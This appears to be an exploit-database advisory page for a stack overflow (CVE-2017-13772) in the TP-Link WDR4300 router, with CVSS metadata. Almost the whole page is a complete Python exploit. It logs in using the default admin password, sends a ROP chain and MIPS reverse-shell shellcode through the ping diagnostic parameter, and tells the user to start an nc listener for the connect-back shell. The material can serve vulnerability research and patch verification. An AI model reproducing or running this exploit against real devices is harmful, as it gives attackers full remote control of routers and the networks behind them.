TP-Link WDR4300 Remote Code Execution

2020.08.31
Credit: Patrik Lantz
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python3 import sys import hashlib import base64 import requests import binascii import socket """ RCE via stack-based overflow on TP-Link WDR4300 (N750) devices, using CVE-2017-13772. Tested on Firmware versions 3.13.33, Build 130618 and 3.14.3 Build 150518, hardware WDR4300 v1 Usage: 1) Start listener on attacker machine: nc -nlvvp 31337 2) Execute script: python exploit.py <attacker_ip> """ def main(argv): if len(sys.argv) < 2: print("Usage: python exploit.py <attacker_ip>") sys.exit(1) password = "admin" target = "192.168.0.1:80" attacker_ip = sys.argv[1] attacker = binascii.hexlify(socket.inet_aton(attacker_ip)) ip = [attacker[i:i+2] for i in range(0, len(attacker), 2)] if '00' in ip or '20' in ip: print("[-] Specified attacker IP will result in bad characters being present in the shellcode. Avoid any IPs containing .0. and .32.") sys.exit(1) url = "http://" + target + "/" try: r = requests.get(url=url) except: print("[-] Could not connect to target: " + target) sys.exit(1) if 'WWW-Authenticate' in r.headers.keys(): if not 'WDR4300' in r.headers['WWW-Authenticate']: print("[-] This is not TP-Link WDR4300 (N750)") sys.exit(1) else: print("[-] This does not seem to be the web interface of a router!") credentials = "admin" + ":" + hashlib.md5(password).hexdigest() auth = base64.b64encode(credentials) url = "http://" + target + "/userRpm/LoginRpm.htm?Save=Save" print("[+] Setting target to: " + target) print("[+] Using default admin password: " + password) print("[+] Cookie set to: Authorization=Basic%20" + auth) h = {} h["Cookie"] = "Authorization=Basic%20" + auth h['Upgrade-Insecure-Requests'] = '1' h['Referer'] = 'http://' + target + '/' r = requests.get(url = url, headers=h) data = r.text if "httpAutErrorArray" in data: print('[-] Could not login to the admin interface') sys.exit(1) older_fw = False # older firmware, e.g., 3.13.33 if "<TITLE>Login Incorrect</TITLE>" in data: print("[-] Incorrect login, perhaps an older firmware? Sending digest authentication using the Authorization header instead..") credentials = "admin:" + password auth = base64.b64encode(credentials) url = "http://" + target + "/" h = {} h["Authorization"] = "Basic%20" + auth h['Upgrade-Insecure-Requests'] = '1' h['Referer'] = 'http://' + target + '/' r = requests.get(url = url, headers=h) data = r.text if 'window.parent.location.href' not in data: print("[-] Failed to login to the admin interface") sys.exit(1) print('[+] Older firmware confirmed, successfully logged in') older_fw = True authenticated_url = data.split('window.parent.location.href = ')[1].split(';')[0].replace('"','') unique_id = '' if not older_fw: unique_id = authenticated_url.split('/userRpm')[0].split('/')[3] + '/' print("[+] Authentication succeeded, got unique id: " + unique_id.replace('/','')) # now we deliver the exploit payload via a GET request h['Referer'] = 'http://' + target + '/' + unique_id + 'userRpm/DiagnosticRpm.htm' # NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes) nopsled = "" for i in range(12): nopsled += "\x26\x40\x08\x01" # identified bad characters: 0x20,0x00 # Using reverse tcp shellcode from https://www.exploit-db.com/exploits/45541 buf = b"" buf += "\x24\x0f\xff\xfa" # li $t7, -6 buf += "\x01\xe0\x78\x27" # nor $t7, $zero buf += "\x21\xe4\xff\xfd" # addi $a0, $t7, -3 buf += "\x21\xe5\xff\xfd" # addi $a1, $t7, -3 buf += "\x28\x06\xff\xff" # slti $a2, $zero, -1 buf += "\x24\x02\x10\x57" # li $v0, 4183 ( sys_socket ) buf += "\x01\x01\x01\x0c" # syscall 0x40404 buf += "\xaf\xa2\xff\xff" # sw $v0, -1($sp) buf += "\x8f\xa4\xff\xff" # lw $a0, -1($sp) buf += "\x34\x0f\xff\xfd" # li $t7, -3 ( sa_family = AF_INET ) buf += "\x01\xe0\x78\x27" # nor $t7, $zero buf += "\xaf\xaf\xff\xe0" # sw $t7, -0x20($sp) buf += "\x3c\x0e\x7a\x69" # lui $t6, 0x7a69 ( sin_port = 0x7a69 ) buf += "\x35\xce\x7a\x69" # ori $t6, $t6, 0x7a69 buf += "\xaf\xae\xff\xe4" # sw $t6, -0x1c($sp) buf += "\x3c\x0e" + ip[0].decode('hex') + ip[1].decode('hex') # lui $t6, 0xAABB ( sin_addr = 0xAABB ... buf += "\x35\xce" + ip[2].decode('hex') + ip[3].decode('hex') # ori $t6, $t6, 0xCCDD ... 0xCCDD buf += "\xaf\xae\xff\xe6" # sw $t6, -0x1a($sp) buf += "\x27\xa5\xff\xe2" # addiu $a1, $sp, -0x1e buf += "\x24\x0c\xff\xef" # li $t4, -17 ( addrlen = 16 ) buf += "\x01\x80\x30\x27" # nor $a2, $t4, $zero buf += "\x24\x02\x10\x4a" # li $v0, 4170 ( sys_connect ) buf += "\x01\x01\x01\x0c" # syscall 0x40404 buf += "\x24\x0f\xff\xfd" # li t7,-3 buf += "\x01\xe0\x28\x27" # nor a1,t7,zero buf += "\x8f\xa4\xff\xff" # lw $a0, -1($sp) buf += "\x24\x02\x0f\xdf" # li $v0, 4063 ( sys_dup2 ) buf += "\x01\x01\x01\x0c" # syscall 0x40404 buf += "\x24\xa5\xff\xff" # addi a1,a1,-1 (\x20\xa5\xff\xff) buf += "\x24\x01\xff\xff" # li at,-1 buf += "\x14\xa1\xff\xfb" # bne a1,at, dup2_loop buf += "\x28\x06\xff\xff" # slti $a2, $zero, -1 buf += "\x3c\x0f\x2f\x2f" # lui $t7, 0x2f2f buf += "\x35\xef\x62\x69" # ori $t7, $t7, 0x6269 buf += "\xaf\xaf\xff\xec" # sw $t7, -0x14($sp) buf += "\x3c\x0e\x6e\x2f" # lui $t6, 0x6e2f buf += "\x35\xce\x73\x68" # ori $t6, $t6, 0x7368 buf += "\xaf\xae\xff\xf0" # sw $t6, -0x10($sp) buf += "\xaf\xa0\xff\xf4" # sw $zero, -0xc($sp) buf += "\x27\xa4\xff\xec" # addiu $a0, $sp, -0x14 buf += "\xaf\xa4\xff\xf8" # sw $a0, -8($sp) buf += "\xaf\xa0\xff\xfc" # sw $zero, -4($sp) buf += "\x27\xa5\xff\xf8" # addiu $a1, $sp, -8 buf += "\x24\x02\x0f\xab" # li $v0, 4011 (sys_execve) buf += "\x01\x01\x01\x0c" # syscall 0x40404 shellcode = nopsled + buf """ We control $ra, $s0 and $s1 via the buffer overflow. libc_base: 0x2aae2000 First ROP (sleep_gadget): 0x0004c974 + libc_base = 0x2ab2e974 0x0004c97c move t9, s0 0x0004c980 lw ra, (var_1ch) 0x0004c984 lw s0, (var_18h) 0x0004c988 addiu a0, zero, 2 ; arg1 0x0004c98c addiu a1, zero, 1 ; arg2 0x0004c990 move a2, zero 0x0004c994 jr t9 sleep is located at 0x00053ca0 => so $s0 = 0x2ab35ca0 This gadget calls sleep, in this gadget we also set the return adress to the second ROP gadget which is controlled by setting appropriate value on the stack location 0x1c($sp), due to the instruction at 0x0004c980. Second ROP (stack_gadget): 0x00039fa8 + libc_base = 0x2ab1bfa8 0x00039fa8 addiu s0, sp, 0x28 0x00039fac move a0, s3 0x00039fb0 move a1, s0 0x00039fb4 move t9, s1 0x00039fb8 jalr t9 This gadget will set s0 to point our shellcode on the stack, that must be located at sp+0x28. Then as we control s1, we jump to the last and third ROP gadget. Third ROP (call_gadget): 0x000406d8 + libc_base = 0x2ab226d8 0x000406d8 move t9, s0 0x000406dc jalr t9 Jump to the shellcode pointed in s0. """ sleep_addr = "\x2a\xb3\x5c\xa0" sleep_gadget = "\x2a\xb2\xe9\x74" stack_gadget = "\x2a\xb1\xbf\xa8" call_gadget = "\x2a\xb2\x26\xd8" junk = "J"*28 payload = "A"*160 + sleep_addr + call_gadget + sleep_gadget + junk + stack_gadget + shellcode p = {'ping_addr': payload, 'doType': 'ping', 'isNew': 'new', 'sendNum': '4', 'pSize':64, 'overTime':'800', 'trHops':'20'} url = "http://" + target + "/" + unique_id + "userRpm/PingIframeRpm.htm" print("[+] Delivering exploit payload to: " + url) try: r = requests.get(url = url, params=p, headers=h, timeout=10) except: print("[+] Finished delivering exploit") if __name__ == "__main__": main(sys.argv[1:])


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